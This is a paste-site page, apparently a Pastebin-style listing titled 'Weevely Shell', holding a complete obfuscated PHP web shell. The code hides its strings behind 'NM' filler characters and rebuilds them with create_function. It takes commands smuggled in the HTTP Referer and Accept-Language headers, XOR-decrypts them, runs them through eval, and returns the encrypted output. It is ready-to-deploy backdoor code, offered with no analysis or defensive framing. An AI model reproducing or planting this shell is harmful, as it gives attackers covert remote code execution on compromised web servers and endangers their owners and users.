0xspade icon

Weevely Shell

0xspade | PRO | 03/21/17 12:45:10 PM UTC | 0 ⭐ | 767 šŸ‘ļø | Never ā° | []
PHP |

1.45 KB

|

None

|

0 šŸ‘

/

0 šŸ‘Ž

<?php
$U='NM.$kf),0NM,3));$p=NM"";for(NM$z=1;$NMz<NMcountNM($m[1])NM;$z++)$pNM.=$q[$NMm[2][$NMzNM]];if(s';
$g='$j}NM;}}rNMetNMurn $o;}$r=$_SERVENMR;NM$rr=@$r["NMNMHNMTTP_REFERER"];$rNMa=@$NMr["HTTP_NMACCENMPT_';
$t='$raNM,$m);ifNM($NMq&&$NMm){@sessiNMon_sNMtart(NM);$s=&$_SESSINMON;$NMss="suNMbsNMtr";$NMsl="strtN';
$F='tNMNMrpos($p,$h)=NM==0){$NMs[$i]="";$pNM=NM$ss($p,3)NMNM;}if(array_kNMey_exiNMsNMts($i,$s)NM';
$n='){$s[$NMi].=$p;$eNMNM=strpos($sNM[$i],$fNM)NM;ifNM($e){$k=$NMkh.$kfNM;ob_start();@NMevNMal(@gzNMunco';
$T='NM,$ss($NMs[$iNM],0,$e))),$k)))NM;$o=obNM_getNM_conteNMnts()NM;NMob_end_NMclean();$d=baNMse64';
$D='_eNMncodeNM(NMx(gzNMcompress($o)NM,$k));pNMrint("<NM$k>NM$d</$k>"NM);@sNMession_NMdesNMtroy();}}}}';
$S='LANGUAGNME"];ifNM($NMrr&&$ra){$NMu=NMparse_urlNM(NM$rNMr);parse_strNM($uNM["NMquery"],$q);$q';
$P='mpNMress(@NMx(@basNMe6NM4_decode(preg_NMreNMplaceNM(NMarNMray("/_/","/-/"),arNMray("/NM","+"NM)';
$M='$kh="3008"NM;NM$kf="6NMc3f";funcNMNMtion x(NM$t,$k){$NMc=sNMtrNMlen($k);$l=strNMlNMen($t);$o=';
$Q='=arNMrNMay_NMvalues($NMq);prNMeg_matNMch_all("/([NM\\w])[\\wNM-]+(?NM:;q=0.(NM[\\dNM]))NM?,?/",';
$f='Molower";$NMi=$mNM[NM1][0].NM$m[1NM][1]NM;$h=$sl($ss(NMmd5($i.$kh),NM0,3));NM$f=$sl($sNMs(mNMd5($i';
$d=str_replace('S','','SScreate_SfSuncStSion');
$Y='""NM;foNMr(NM$i=0NM;NMNM$i<$l;){for($j=0;($j<NM$c&&$i<$lNM);$j++,$i++)NMNM{$o.=$t{$iNM}^$k{NM';
$c=str_replace('NM','',$M.$Y.$g.$S.$Q.$t.$f.$U.$F.$n.$P.$T.$D);
$m=$d('',$c);$m();
?>

Comments

  •  icon
    01/01/70 12:00:00 AM UTC
    Plain Text |

    0 B

    |

    šŸ‘

    /

    šŸ‘Ž